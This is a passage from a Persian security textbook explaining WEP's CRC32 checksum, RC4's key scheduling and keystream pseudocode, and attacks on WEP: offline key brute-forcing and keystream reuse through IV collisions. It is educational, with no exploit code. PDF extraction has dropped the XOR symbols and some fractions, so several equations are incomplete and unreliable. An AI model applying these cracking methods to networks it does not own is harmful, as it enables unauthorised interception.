‫ﺷﻮد‪ .‬ﺳﭙﺲ ﮔﯿﺮﻧﺪه از ﻫﻤﺎن ﺗﺎﺑﻊ ‪ CRC32‬ﺑﻪ ﻣﻨﻈﻮر ﺗﻮﻟﯿﺪ ﻣﺠﺪد ﭼﮑﺴﺎم ﺑﺮای ‪ M‬اﺳﺘﻔﺎده ﻣﯽ ﮐﻨﺪ و ﺑﻪ اﯾـﻦ ﻃﺮﯾـﻖ از‬
‫ﯾﮑﺴﺎن ﺑﻮدن ﻣﻘﺪار ﻣﺤﺎﺳﺒﻪ ﺷﺪه ﺑﺎ ﻣﻘﺪار درﯾﺎﻓﺖ ﺷﺪه از ‪ CS‬اﻃﻤﯿﻨﺎن ﺣﺎﺻﻞ ﻣﯽ ﮐﻨﺪ‪ .‬اﮔﺮ ﭼﮑﺴﺎم ﻫﺎ ﯾﮑـﺴﺎن ﺑﺎﺷـﻨﺪ‪،‬‬
‫ﺑﺴﺘﻪ ﻣﻨﺘﻘﻞ ﻣﯽ ﺷﻮد‪ ،‬در ﻏﯿﺮ اﯾﻦ ﺻﻮرت اﺣﺘﻤﺎﻻ ﯾﺎ ﺧﻄﺎﻫـﺎی اﻧﺘﻘـﺎﻟﯽ زﯾـﺎدی وﺟـﻮد داﺷـﺘﻪ اﺳـﺖ ﯾـﺎ ﮐﻠﯿـﺪﻫﺎی ‪WEP‬‬
‫ﯾﮑﺴﺎن ﻧﺒﻮده اﻧﺪ و ﺑﻪ اﯾﻦ ﺗﺮﺗﯿﺐ ﺑﺴﺘﻪ ﺣﺬف ﻣﯽ ﮔﺮدد‪.‬‬
‫اﺳﺎس ﻋﻤﻠﮑﺮد ‪ WEP‬اراﺋﻪ ﺷﺪ‪.‬‬

‫‪ .4,7,2‬رﻣﺰ ﺟﺮﯾﺎﻧﯽ ‪RC4‬‬

‫‪ RC4‬ﯾﮏ اﻟﮕﻮرﯾﺘﻢ ﺳﺎده اﺳﺖ ﮐـﻪ ﺑـﺎ دو اﻟﮕـﻮرﯾﺘﻢ دﯾﮕـﺮ ﮐـﺎر ﻣـﯽ ﮐﻨـﺪ‪ :‬اﻟﮕـﻮرﯾﺘﻢ زﻣـﺎن ﺑﻨـﺪی ﮐﻠﯿـﺪ )‪ 119(KSA‬و‬
‫اﻟﮕﻮرﯾﺘﻢ ﻣﻮﻟﺪ ﺷﺒﻪ ﺗﺼﺎدﻓﯽ )‪ .120(PRGA‬ﻫﺮ دوی اﯾﻦ اﻟﮕﻮرﯾﺘﻢ ﻫﺎ از ﯾﮏ ﺟﻌﺒﻪ ﻫﺸﺖ در ﻫـﺸﺖِ ‪ 121S‬اﺳـﺘﻔﺎده ﻣـﯽ‬
‫ﮐﻨﻨﺪ ﮐﻪ آراﯾﻪ ای از ‪ 256‬ﻋﺪد ﯾﮑﺘﺎ و در ﺑﺎزه ‪ 0‬ﺗﺎ ‪ 255‬اﺳﺖ‪ .‬ﺗﻮﺿﯿﺢ ﺳﺎده ﺗﺮ اﯾﻨﮑﻪ ﺗﻤﺎم ﺷـﻤﺎره ﻫـﺎی ‪ 0‬ﺗـﺎ ‪ 255‬در‬
‫آراﯾﻪ وﺟﻮد ﺧﻮاﻫﻨﺪ داﺷﺖ و ﻓﻘﻂ ﺑﻪ ﺻﻮر ﮔﻮﻧﺎﮔﻮن ﺗﺮﮐﯿﺐ )ﻣﺨﻠﻮط( ﻣﯽ ﺷﻮﻧﺪ‪ .‬اﻟﮕﻮرﯾﺘﻢ ‪ KSA‬ﻣﺒﻨﯽ ﺑﺮ ﻣﻘﺪار ﺑﻨﯿـﺎدی‬
‫داده ﺷﺪه ﺑﻪ آن‪ ،‬اوﻟﯿﻦ ﺗﺮﮐﯿﺐ ﺗﺸﻮﯾﺸﯽ )‪ 122(scrambling‬را ﺑﺎ ﺟﻌﺒﻪ ‪ S‬دارد‪ .‬اﯾﻦ ﻣﻘﺪار ﺑﻨﯿﺎدی ﺣﺪاﮐﺜﺮ ﻣﯽ ﺗﻮاﻧﺪ ﺗـﺎ‬
‫‪ 256‬ﺑﯿﺖ ﻃﻮل داﺷﺘﻪ ﺑﺎﺷﺪ‪.‬‬
‫اﺑﺘﺪا آراﯾﻪ ی ﺟﻌﺒﻪ ‪ S‬ﺑﺎ ﻣﻘﺎدﯾﺮ ﻣﺘﻮاﻟﯽ از ‪ 0‬ﺗﺎ ‪ 255‬ﭘﺮ ﻣﯽ ﺷﻮد‪ .‬اﯾـﻦ آراﯾـﻪ را ‪ S‬ﻣـﯽ ﻧـﺎﻣﯿﻢ‪ .‬ﺳـﭙﺲ آراﯾـﻪ‪ 256‬ﺑـﺎﯾﺘﯽ‬
‫دﯾﮕﺮی ﺑﺎ ﻣﻘﺪار ﺑﻨﯿﺎدی ﭘﺮ ﻣﯽ ﺷﻮد‪ .‬اﯾﻦ آراﯾﻪ‪ K‬ﻧـﺎم ﻣـﯽ ﮔﯿـﺮد‪ .‬ﺳـﭙﺲ آراﯾـﻪ ‪ S‬ﺑـﺎ ﺷـﺒﻪ ﮐـﺪ زﯾـﺮ ﺗﺮﮐﯿـﺐ‪-‬ﻣـﺸﻮش‬
‫)‪ (scrambled‬ﻣﯽ ﺷﻮد‪:‬‬
‫;‪j = 0‬‬
‫‪for i = 0 to 255‬‬
‫{‬
‫;‪j = (j + S[i] + K[i]) mod 256‬‬

‫‪119‬‬
‫‪Key Scheduling Algorithm‬‬
‫‪120‬‬
‫‪Pseudo Random Generation Algorithm‬‬
‫‪121‬‬
‫‪8-by-8 S-Box‬‬
‫‪ 122‬ﺗﺮﮐﯿﺐ ﺑﻪ ﺻﻮرت ﻧﺎﻣﻨﻈﻢ در آراﯾﻪ را ﺗﺮﮐﯿﺐ ﺗﺸﻮﯾﺸﯽ ﻣﯽ ﻧﺎﻣﯿﻢ‪.‬‬
‫‪181‬‬
‫;]‪swap S[i] and S[j‬‬
‫}‬
‫ﺳﭙﺲ ﺟﻌﺒﻪ ‪ S‬ﺑﺮ ﻣﺒﻨﺎی ﻣﻘﺪار ﺑﻨﯿﺎدی ﻣﺨﻠﻮط ﻣﯽ ﺷﻮد‪ .‬اﯾﻦ ﻓﺮآﯾﻨﺪ ﻧﺴﺒﺘﺎ ﺳﺎده‪ ،‬اﺳﺎس ﮐﺎر اﻟﮕﻮرﯾﺘﻢ زﻣﺎن ﺑﻨـﺪی ﮐﻠﯿـﺪ‬
‫ﯾﺎ ‪ KSA‬اﺳﺖ‪.‬‬
‫اﮐﻨﻮن ﺑﻬﻨﮕﺎم ﻧﯿﺎز ﺑﻪ ﺟﺮﯾﺎن ﮐﻠﯿﺪ از ‪ PRGA‬اﺳﺘﻔﺎده ﻣﯽ ﺷﻮد‪ .‬اﯾﻦ اﻟﮕﻮرﯾﺘﻢ دو ﺷﻤﺎرﻧﺪه ‪ i‬و ‪ j‬دارد ﮐﻪ ﻫﺮ دو ﺑـﺎ ﺻـﻔﺮ‬
‫ﻣﻘﺪاردﻫﯽ اوﻟﯿﻪ ﺷﺪه اﻧﺪ‪ .‬ﭘﺲ از آن ﺑﺮای ﻫﺮ ﺑﺎﯾﺖ داده از ﺟﺮﯾﺎن ﮐﻠﯿﺪ‪ ،‬ﺷﺒﻪ ﮐﺪ زﯾﺮ اﺳﺘﻔﺎده ﻣﯽ ﺷﻮد‪:‬‬
‫;‪i = (i + 1) mod 256‬‬
‫;‪j = (j + S[i]) mod 256‬‬
‫;]‪swap S[i] and S[j‬‬
‫;‪t = (S[i] + S[j]) mod 256‬‬
‫;]‪Output the value of S[t‬‬
‫ﺑﺎﯾﺖ ﺧﺮوﺟﯽ ]‪ ،S[t‬اوﻟﯿﻦ ﺑﺎﯾﺖ ﺟﺮﯾﺎن ﮐﻠﯿﺪ اﺳﺖ‪ .‬اﯾﻦ اﻟﮕﻮرﯾﺘﻢ ﺑﺮای دﯾﮕﺮﺑﺎﯾﺖ ﻫﺎی ﺟﺮﯾﺎن ﮐﻠﯿﺪ ﻧﯿﺰ ﺗﮑﺮار ﻣﯽ ﺷﻮد‪.‬‬
‫ﻃﺮح ‪ RC4‬ﺑﻪ اﻧﺪازه ﮐﺎﻓﯽ ﺳﺎده اﺳﺖ ﮐﻪ ﻣﯽ ﺗﻮان آﻧﺮا ﺑﻪ راﺣﺘﯽ ﺣﻔﻆ ﮐﺮد‪ .‬اﮔﺮ اﯾﻦ ﻃﺮح ﺑﺪرﺳﺘﯽ اﺳﺘﻔﺎده ﺷﻮد ﮐﺎﻣﻼ‬
‫اﯾﻤﻦ ﺧﻮاﻫﺪ ﺑﻮد‪ .‬اﻣﺎ ﻣﺸﮑﻼﺗﯽ در روﺷﯽ ﮐﻪ از ‪ RC4‬در ‪ WEP‬اﺳﺘﻔﺎده ﻣﯽ ﺷﻮد وﺟﻮد دارد‪.‬‬

‫‪ .4,8‬ﺣﻤﻠﻪ ﺑﻪ ‪WEP‬‬

‫ﻣﺸﮑﻼﺗﯽ در راﺑﻄﻪ ﺑﺎ اﻣﻨﯿﺖ ‪ WEP‬وﺟﻮد دارﻧﺪ‪ .‬اﻟﺒﺘﻪ ﺑﺎ ﮐﻤﯽ اﻧﺼﺎف‪ ،‬ﻫﻤﺎن ﻃﻮر ﮐﻪ ﻣﺨﻔﻒ آن ﻧﯿﺰ ﺑﯿـﺎن ﻣـﯽ دارد‪ ،‬اﯾـﻦ‬
‫اﻟﮕﻮ ﻫﺮﮔﺰ ﺑﻪ ﻋﻨﻮان ﯾﮏ ﭘﺮوﺗﮑﻞ رﻣﺰﻧﮕﺎری ﻣﺴﺘﺤﮑﻢ ﻣﺪ ﻧﻈﺮ ﻧﺒﻮده اﺳﺖ‪ ،‬ﺑﻠﮑﻪ ﻓﻘﻂ ﺑﻪ ﻋﻨﻮان راﻫﯽ ﺟﻬـﺖ اراﺋـﻪ ﯾـﮏ‬
‫ﺿﺮﯾﺐ ﻣﺤﺮﻣﺎﻧﮕﯽ ﻣﻌﺎدل ﺑﺎ ﻃﺮﺣﻬﺎی ﺑﺎﺳﯿﻢ ﻣﻄﺮح ﺷﺪ‪ .‬ﻃﺮف ﻧﻈﺮ از ﺿﻌﻒ ﻫﺎی اﻣﻨﯿﺘـﯽ ﻣﺮﺗﺒـﺎط ﺑـﺎ ﭘﯿﻮﺳـﺘﮕﯽ‪/‬ارﺗﺒـﺎط‬
‫)‪ (association‬و ﻫﻮﯾﺖ ﻫﺎ )‪ ،(identity‬ﻣﺸﮑﻼﺗﯽ در راﺑﻄﻪ ﺑﺎ ﺧﻮد ﭘﺮوﺗﮑﻞ رﻣﺰﻧﮕـﺎری وﺟـﻮد دارﻧـﺪ‪ .‬ﺑﻌـﻀﯽ از اﯾـﻦ‬
‫ﻣﺸﮑﻼت از اﺳﺘﻔﺎده از ‪ CRC32‬ﺑﻪ ﻋﻨﻮان ﯾﮏ ﺗﺎﺑﻊ ﭼﮑﺴﺎم ﺟﻬﺖ ﺑﺮرﺳﯽ ﺻﺤﺖ ﭘﯿﺎم ﻧﺎﺷﯽ ﻣﯽ ﺷﻮﻧﺪ و ﺑﻌﻀﯽ دﯾﮕﺮ از‬
‫روﺷﯽ ﮐﻪ ﺑﺮدارﻫﺎی اوﻟﯿﻪ ﺑﮑﺎر ﺑﺮده ﻣﯽ ﺷﻮﻧﺪ‪.‬‬

‫‪ .4,8,1‬ﺣﻤﻼت ‪ Brute-force‬ﺑﻪ ﺻﻮرت آﻓﻼﯾﻦ‬

‫ﺣﻤﻠﻪ ‪ Brute-Forcing‬ﺑﺮ روی ﺗﻤﺎم ﺳﯿﺴﺘﻢ ﻫﺎی رﻣﺰی اﯾﻤﻦ‪-‬ﻣﺤﺎﺳﺒﺎﺗﯽ اﻣﮑﺎن ﭘﺬﯾﺮ اﺳﺖ‪ .‬اﻣـﺎ ﺳـﻮال اﯾﻨﺠﺎﺳـﺖ ﮐـﻪ‬
‫ﮐﺠﺎ ﻣﯽ ﺗﻮان اﯾﻦ ﺣﻤﻠﻪ را ﺑﻪ ﺻﻮرت ﻋﻤﻠﯽ ﭘﯿﺎده ﺳـﺎزی ﮐـﺮد؟ ﺑـﺎ در ﻧﻈـﺮ ﮔـﺮﻓﺘﻦ‪ ،WEP‬روش ﻋﻤﻠـﯽ ‪brute-force‬‬
‫ﮐﺮدن آﻓﻼﯾﻦ‪ ،‬ﺳﺎده اﺳﺖ‪ :‬ﺿﺒﻂ ﮐﺮدن )‪ (capture‬ﭼﻨﺪ ﺑﺴﺘﻪ و ﺳﭙﺲ ﺗﻼش ﺟﻬﺖ رﻣﺰﮔﺸﺎﯾﯽ اﯾـﻦ ﺑـﺴﺘﻪ ﻫـﺎ ﺑـﺎ ﺗﻤـﺎم‬
‫ﮐﻠﯿﺪﻫﺎی ﻣﻤﮑﻦ‪ .‬ﻗﺪم ﺑﻌﺪی‪ ،‬ﻣﺤﺎﺳﺒﻪ ﻣﺠﺪد ﭼﮑﺴﺎم ﺑﺮای ﺑﺴﺘﻪ و ﻣﻘﺎﯾﺴﻪ ﮐﺮدن آن ﺑﺎ ﭼﮑـﺴﺎم اﺻـﻠﯽ اﺳـﺖ‪ .‬اﮔـﺮ اﯾـﻦ‬
‫ﻣﻘﺎدﯾﺮ ﯾﮑﺴﺎن ﺑﺎﺷﻨﺪ‪ ،‬آﻧﮕﺎه اﺣﺘﻤﺎﻻ ﮐﻠﯿﺪ را در اﺧﺘﯿﺎر دارﯾﻢ‪ .‬ﻣﻌﻤﻮﻻ اﺟﺮای اﯾـﻦ روش ﺣـﺪاﻗﻞ ﺑـﻪ دو ﺑـﺴﺘﻪ ﻧﯿـﺎز دارد‪،‬‬
‫ﭼﻮن اﺣﺘﻤﺎل دارد ﮐﻪ ﯾﮏ ﺑﺴﺘﻪ واﺣﺪ را ﺑﺘﻮان ﺑﺎ ﯾﮏ ﮐﻠﯿﺪ ﻏﯿﺮ ﻣﻌﺘﺒﺮ رﻣﺰﮔﺸﺎﯾﯽ ﮐـﺮد‪ ،‬در ﺻـﻮرﺗﯽ ﮐـﻪ ﭼﮑـﺴﺎم ﻫﻨـﻮز‬
‫ﻣﻌﺘﺒﺮ ﺧﻮاﻫﺪ ﺑﻮد‪.‬‬
‫ﺑﻬﺮﺣﺎل ﺑﺎ در ﻧﻈﺮ ﮔﺮﻓﺘﻦ اﻣﺘﺤﺎن ﺷﺪن ‪10,000‬ﮔﺰﯾﻨﻪ در واﺣﺪ زﻣﺎن‪ brute-force ،‬ﮐﺮدن ﯾﮏ ﻓﻀﺎی ﮐﻠﯿﺪ ‪ 40‬ﺑﯿﺘـﯽ‬
‫ﺣﺪود ‪ 3‬ﺳﺎل زﻣﺎن ﻧﯿﺎز دارد‪ .‬ﭘﺮدازﻧﺪه ﻫﺎی ﻣﺪرن ﻋﻤﻼ ﻣﯽ ﺗﻮاﻧﻨﺪ در واﺣﺪ زﻣﺎن ﺗﻌﺪاد ﮔﺰﯾﻨﻪ ﻫﺎی ﺑﯿﺸﺘﺮ از ‪10,000‬‬
‫را اﻣﺘﺤﺎن ﮐﻨﻨﺪ‪ ،‬اﻣﺎ ﺣﺘﯽ ﺑﺎ اﻣﮑﺎن اﻣﺘﺤﺎن ﺷﺪن ‪ 20,000‬ﮔﺰﯾﻨﻪ در واﺣﺪ زﻣﺎن ﻫﻨﻮز ﻫﻢ ﭼﻨﺪ ﻣﺎه وﻗﺖ ﻻزم اﺳﺖ‪ .‬ﺑﺴﺘﻪ‬
‫ﺑﻪ ﻣﻨﺎﺑﻊ و ﺗﺨﺼﯿﺺ زﻣﺎن ﯾﮏ ﻧﻔﻮذﮔﺮ‪ ،‬اﯾﻦ ﻧﻮع ﺣﻤﻼت ﻣﻤﮑﻦ اﺳﺖ ﻋﻤﻠﯽ ﺑﺎﺷﻨﺪ ﯾﺎ ﻧﺒﺎﺷﻨﺪ‪.‬‬
‫ﺗﯿﻢ ﻧﯿﻮﺷﺎم )‪ (Tim Newsham‬روش ﮐﺮک ﻣﻮﺛﺮی را در اﻟﮕﻮرﯾﺘﻢ ﺗﻮﻟﯿﺪ ﮐﻠﯿﺪ ﻣﺒﻨـﯽ ﺑـﺮ ﭘـﺴﻮرد‪ 123‬اراﺋـﻪ داد ﮐـﻪ در‬
‫ﺑﺴﯿﺎری از ﮐﻠﯿﺪﻫﺎی ‪ 40‬ﺑﯿﺘﯽ )ﮐﻪ اﻟﺒﺘﻪ ﺑﻪ ﻋﻨﻮان ‪ 64‬ﺑﯿﺘﯽ ﻓﺮوﺧﺘﻪ ﻣﯽ ﺷﺪﻧﺪ( و ﻧﻘﺎط دﺳﺘﺮﺳﯽ )‪ (Access Point‬ﻣﻮرد‬

‫‪123‬‬
‫‪Password-based Key-Generation Algorithm‬‬
‫‪182‬‬
‫اﺳﺘﻔﺎده ﺑﻮد‪ .‬روش او ﻓﻀﺎی ﮐﻠﯿﺪ ‪ 40‬ﺑﯿﺘﯽ را ﺑﻪ ‪ 21‬ﺑﯿﺘﯽ ﮐﺎﻫﺶ ﻣﯽ داد‪ .‬ﺑـﻪ اﯾـﻦ ﺻـﻮرت ﺑـﺎ ﻓـﺮض اﻣﺘﺤـﺎن ‪10,000‬‬
‫ﭘﺴﻮرد در واﺣﺪ زﻣﺎن‪ ،‬اﻣﮑﺎن ﺑﺮرﺳﯽ ﮐﺎﻣﻞ ﻓﻀﺎی ﮐﻠﯿﺪ در ﭼﻨﺪﯾﻦ دﻗﯿﻘـﻪ )و ﺣﺘـﯽ در ﭘﺮدازﻧـﺪه ﻫـﺎی ﻣـﺪرن‪ ،‬ﭼﻨـﺪﯾﻦ‬
‫ﺛﺎﻧﯿﻪ( ﻓﺮاﻫﻢ ﻣﯽ ﺷﺪ‪ .‬اﻃﻼﻋـﺎت ﺑﯿـﺸﺘﺮ درﺑـﺎره اﯾـﻦ روش رال ﺑـﺎ ﻣﺮاﺟﻌـﻪ ﺑـﻪ ‪www.lava.net/~newsham/wlan/‬‬
‫ﺑﺪﺳﺖ آورﯾﺪ‪.‬‬
‫ﺑﺮای ﺷﺒﮑﻪ ﻫﺎی ‪ WEP‬ﺑﺎ ﻓﻀﺎی ‪ 104‬ﺑﯿﺘﯽ )ﮐﻪ ﺑﺎ ﻋﻨﻮان ‪ 128‬ﺑﯿﺘـﯽ ﺑﺎزارﯾـﺎﺑﯽ ﺷـﺪﻧﺪ( اﺟـﺮای ﺣﻤـﻼت ‪brute-force‬‬
‫ﻋﻤﻞ ﻏﯿﺮﻣﻤﮑﻦ اﺳﺖ‪.‬‬

‫‪ .4,8,2‬اﺳﺘﻔﺎده ﻣﺠﺪد از ﺟﺮﯾﺎن ﮐﻠﯿﺪ‬

‫ﻣﺸﮑﻞ ﺑﺎﻟﻘﻮه دﯾﮕﺮ در‪ WEP‬در اﺳﺘﻔﺎده ﻣﺠﺪد از ﺟﺮﯾﺎن ﮐﻠﯿﺪ‪ 124‬ﻧﻤﻮد ﭘﯿﺪا ﻣﯽ ﮐﻨﺪ‪ .‬اﮔﺮ دو ﻣﺘﻦ واﺿﺢ )‪ (P‬ﺑﺎ ﺟﺮﯾـﺎن‬
‫ﮐﻠﯿﺪ ﯾﮑﺴﺎﻧﯽ ‪ XOR‬ﺷﻮﻧﺪ و دو زوج ﺟﺪاﮔﺎﻧﻪ از ﻣﺘﻦ رﻣﺰی )‪ (C‬را ﺗﻮﻟﯿﺪ ﮐﻨﻨﺪ‪ ،‬در اﯾﻦ ﺻﻮرت ‪ XOR‬ﮐﺮدن ﻣﺘﻦ ﻫﺎی‬
‫رﻣﺰی ﺑﺎ ﯾﮑﺪﯾﮕﺮ ﺗﺎﺛﯿﺮ ﻓﻀﺎی ﮐﻠﯿﺪ را ﺣﺬف ﻣﯽ ﮐﻨﺪ‪ ،‬ﺑﻤﺎﻧﻨﺪ اﯾﻨﮑﻪ دو ﻣﺘﻦ واﺿﺢ ﺑﺎ ﯾﮑﺪﯾﮕﺮ ‪ XOR‬ﺷﺪه ﺑﺎﺷﻨﺪ‪.‬‬
‫‪C1 = P1‬‬ ‫)‪RC4(seed‬‬
‫‪C2 = P2‬‬ ‫)‪RC4(seed‬‬

‫‪C1‬‬ ‫‪C2 = (P1‬‬ ‫))‪RC4(seed‬‬ ‫‪(P2‬‬ ‫‪RC4(seed))= P1‬‬ ‫‪P2‬‬

‫در اﯾﻦ ﺣﺎﻟﺖ اﮔﺮ ﯾﮑﯽ از ﻣﺘﻮن واﺿﺢ ﺷﻨﺎﺧﺘﻪ ﺷﺪه ﺑﺎﺷﺪ‪ ،‬ﻣﯽ ﺗﻮان دﯾﮕﺮی را ﺑﻪ آﺳﺎﻧﯽ ﺑﺎزﯾـﺎﺑﯽ ﮐـﺮد‪ .‬ﺑﻌـﻼوه ﭼـﻮن در‬
‫اﯾﻦ ﻣﻮرد ﻣﺘﻮن واﺿﺢ‪ ،‬ﺑﺴﺘﻪ ﻫﺎی اﯾﻨﺘﺮﻧﺘﯽ ﺑﺎ ﺳﺎﺧﺘﺎر ﺷﻨﺎﺧﺘﻪ ﺷﺪه و ﻧﺴﺒﺘﺎ ﻗﺎﺑﻞ ﭘﯿﺶ ﺑﯿﻨﯽ ﻫﺴﺘﻨﺪ‪ ،‬ﻟﺬا ﻣﯽ ﺗﻮان ﺗﮑﻨﯿـﮏ‬
‫ﻫﺎی ﮔﻮﻧﺎﮔﻮﻧﯽ را ﺑﮑﺎر ﺑﺴﺖ ﺗﺎ ﻫﺮ دو ﻣﺘﻦ واﺿﺢ اﺻﻠﯽ را ﺑﺎزﯾﺎﺑﯽ ﮐﺮد‪.‬‬
‫ﺑﺮدار اوﻟﯿﻪ ﺟﻬﺖ ﺟﻠﻮﮔﯿﺮی از اﯾﻦ ﻧﻮع ﺣﻤﻼت ﺑﮑﺎر ﮔﺮﻓﺘﻪ ﻣﯽ ﺷـﺪ‪ .‬ﺑـﺪون آن ﻫـﺮ ﺑـﺴﺘﻪ ﻣـﯽ ﺗﻮاﻧـﺪ ﺑـﺎ ﺟﺮﯾـﺎن ﮐﻠﯿـﺪ‬
‫ﯾﮑﺴﺎﻧﯽ رﻣﺰﻧﮕﺎری ﺷﻮد‪ .‬اﮔﺮ ﯾﮏ ﺑﺮدار اوﻟﯿﻪ ﻣﺘﻔﺎوت ﺑﺮای ﻫﺮ ﺑﺴﺘﻪ اﺳﺘﻔﺎده ﺷﻮد‪ ،‬ﺟﺮﯾـﺎن ﻫـﺎی ﮐﻠﯿـﺪ ﻧﯿـﺰ ﺑـﺮای ﻫـﺮ‬
‫ﺑﺴﺘﻪ ﻣﺘﻔﺎوت ﺧﻮاﻫﻨﺪ ﺑﻮد‪ .‬اﻣﺎ اﮔﺮ ﺑﺮدار اوﻟﯿﻪ ﯾﮑﺴﺎﻧﯽ اﺳﺘﻔﺎده ﺷﻮد‪ ،‬ﻫﺮ دو ﺑﺴﺘﻪ ﺑﺎ ﺟﺮﯾـﺎن ﮐﻠﯿـﺪ ﯾﮑـﺴﺎﻧﯽ رﻣﺰﻧﮕـﺎری‬
‫ﻣﯿﺸﻮﻧﺪ‪ .‬ﭼﻮن ﺑﺮدارﻫﺎی اوﻟﯿﻪ در ﻣﺘﻦ واﺿﺢ در ﺑﺴﺘﻪ ﻫﺎی رﻣﺰﺷﺪه وﺟﻮد دارﻧﺪ‪ ،‬ﻟـﺬا ﻣـﯽ ﺗـﻮان اﯾـﻦ ﺷـﺮط را ﺑﺮاﺣﺘـﯽ‬
‫ﺗﺸﺨﯿﺺ داد‪ .‬ﺑﻌﻼوه ﺑﺮدارﻫﺎی اوﻟﯿﻪ اﺳﺘﻔﺎده ﺷﺪه ﺑﺮای ‪ WEP‬ﺗﻨﻬﺎ ‪ 24‬ﺑﯿـﺖ ﻃـﻮل دارﻧـﺪ ﮐـﻪ ﺗﻘﺮﯾﺒـﺎ ﺗـﻀﻤﯿﻨﯽ ﺟﻬـﺖ‬
‫اﺳﺘﻔﺎده ﻣﺠﺪد از ﺑﺮدارﻫﺎی اوﻟﯿﻪ ﺧﻮاﻫﺪ ﺑﻮد‪ .‬ﺑﺎ ﻓﺮض ﺗﺼﺎدﻓﯽ اﻧﺘﺨﺎب ﺷﺪن ﺑﺮدارﻫﺎی اوﻟﯿـﻪ‪ ،‬از ﻟﺤـﺎظ آﻣـﺎری ﺑﻌـﺪ از‬
‫‪ 5000‬ﺑﺴﺘﻪ‪ ،‬ﯾﮏ ﻣﻮرد ﺑﺮای اﺳﺘﻔﺎده ﻣﺠﺪد از ﺟﺮﯾﺎن ﮐﻠﯿﺪ وﺟﻮد ﺧﻮاﻫﺪ داﺷﺖ‪.‬‬
‫اﯾﻦ ﺗﻌﺪاد‪ ،‬ﻧﺎﺷﯽ از ﯾﮏ ﭘﺪﯾﺪه اﺣﺘﻤﺎﻟﯽ ﺷﻤﺎرﺷﯽ ﺑﻪ ﻧﺎم ﭘﺎرادوﮐﺲ زاد روز )‪ (birthday paradox‬ﮐﻮﭼﮏ ﺑﻪ ﻧﻈﺮ ﻣﯽ‬
‫آﯾﺪ‪ .‬ﺑﻪ ﻃﻮر ﺳﺎده اﯾﻦ ﭘﺪﯾﺪه ﺑﯿﺎن ﻣﯽ ﮐﻨﺪ ﮐﻪ اﮔﺮ ‪ 23‬ﻧﻔﺮ ﺑﺎ ﻫﻢ در ﯾﮏ اﺗﺎق ﺑﺎﺷﻨﺪ‪ ،‬دو ﻧﻔﺮ از آﻧﻬﺎ ﺑﺎﯾﺪ ﯾﮏ ﺗﺎرﯾﺦ ﺗﻮﻟﺪ‬

‫ﯾـﺎ ‪0,27‬‬ ‫ﯾﺎ ‪ 253‬زوج ﻣﻤﮑﻦ وﺟﻮد دارد‪ .‬ﻫﺮ زوج اﺣﺘﻤـﺎل ﻣﻮﻓﻘﯿـﺖ‬ ‫را ﺑﻪ اﺷﺘﺮاک ﺑﮕﺬارﻧﺪ‪ .‬ﺑﺎ ‪ 23‬ﻧﻔﺮ‪ ،‬ﺗﻌﺪاد‬

‫ﯾﺎ ‪ 99,726‬درﺻﺪی اﺳﺖ‪ .‬ﺑﺎ اﻓـﺰاﯾﺶ اﯾـﻦ اﺣﺘﻤـﺎل ﺑـﻪ ﺗـﻮان ‪،253‬‬ ‫درﺻﺪی دارد ﮐﻪ ﻣﺘﻨﺎﻇﺮ ﺑﺎ اﺣﺘﻤﺎل ﺷﮑﺴﺖ‬
‫اﺣﺘﻤﺎل ﺷﮑﺴﺖ ﮐﻞ ﺣﺪود ‪ %49,95‬ﺧﻮاﻫﺪ ﺑﻮد‪ ،‬ﯾﻌﻨﯽ اﺣﺘﻤﺎل ﻣﻮﻓﻘﯿﺖ اﻧﺪﮐﯽ ﺑﺎﻻﺗﺮ از ‪ %50‬اﺳﺖ‪.‬‬

‫ﯾـﺎ ‪12,497,500‬‬ ‫اﯾﻦ ﻣﺴﺌﻠﻪ در راﺑﻄﻪ ﺑﺎ ﺗﺼﺎدم ﻫﺎی ﺑﺮداراوﻟﯿﻪ ﻧﯿﺰ ﺑﺮﻗﺮار اﺳﺖ‪ .‬ﺑﺎ ‪ 5000‬ﺑـﺴﺘﻪ‪ ،‬ﺣـﺪود‬

‫دارد‪ .‬ﺑﺎ اﻓﺰاﯾﺶ اﯾﻦ اﺣﺘﻤﺎل ﺑﻪ ﺗﻮان زوج ﻫﺎی ﻣﻤﮑـﻦ‪،‬‬ ‫زوج ﻣﻤﮑﻦ وﺟﻮد دارد‪ .‬ﻫﺮ زوج اﺣﺘﻤﺎل ﺷﮑﺴﺘﯽ ﺑﺮاﺑﺮ ﺑﺎ‬
‫اﺣﺘﻤﺎل ﺷﮑﺴﺖ ﮐﻞ‪ ،‬ﺣﺪود ‪ %47,5‬ﺧﻮاﻫﺪ ﺑﻮد‪ ،‬ﯾﻌﻨﯽ در ﻫﺮ ‪ 5000‬ﺑﺴﺘﻪ‪ ،‬ﯾﮏ ﺷﺎﻧﺲ )اﺣﺘﻤـﺎل( ‪ 52,5‬درﺻـﺪی ﺑـﺮای‬
‫ﯾﮏ ﺗﺼﺎدم ﺑﺮدار اوﻟﯿﻪ وﺟﻮد دارد‪.‬‬

‫‪124‬‬
‫‪Keystream Reuse‬‬
‫‪183‬‬
‫ﭘﺲ از ﮐﺸﻒ ﯾﮏ ﺗﺼﺎدم ﺑﺮدار اوﻟﯿﻪ ﻣﯿﺘﻮان از ﺣﺪس زدن ﺳﺎﺧﺘﺎر ﻣﺘﻮن واﺿﺢ‪ ،‬ﺑﻪ ﻣﻨﻈﻮر آﺷﮑﺎر ﺳﺎﺧﺘﻦ آﻧﻬـﺎ ﺑﻮﺳـﯿﻠﻪ‬
‫‪ XOR‬ﮐﺮدن ﻣﺘﻮن رﻣﺰی ﺑﺎ ﻫﻢ اﺳﺘﻔﺎده ﮐﺮد‪ .‬ﻫﻤﭽﻨﯿﻦ اﮔﺮ ﯾﮑﯽ از ﻣﺘﻮن واﺿﺢ ﺷﻨﺎﺧﺘﻪ ﺷﺪه ﺑﺎﺷﺪ‪ ،‬ﻣﺘﻦ واﺿﺢ دﯾﮕﺮی‬
‫را ﻣﯽ ﺗﻮان ﺑﺎ ﯾﮏ ‪ XOR‬ﺳﺎده ﺑﺎزﯾﺎﺑﯽ ﮐﺮد‪ .‬ﯾﮏ روش ﺟﻬﺖ ﺑﺪﺳﺖ آوردن ﻣﺘﻮن واﺿﺢ ﺷﻨﺎﺧﺘﻪ ﺷـﺪه‪ ،‬ﻣﯿﺘﻮاﻧـﺪ اﺳـﭙﻢ‬
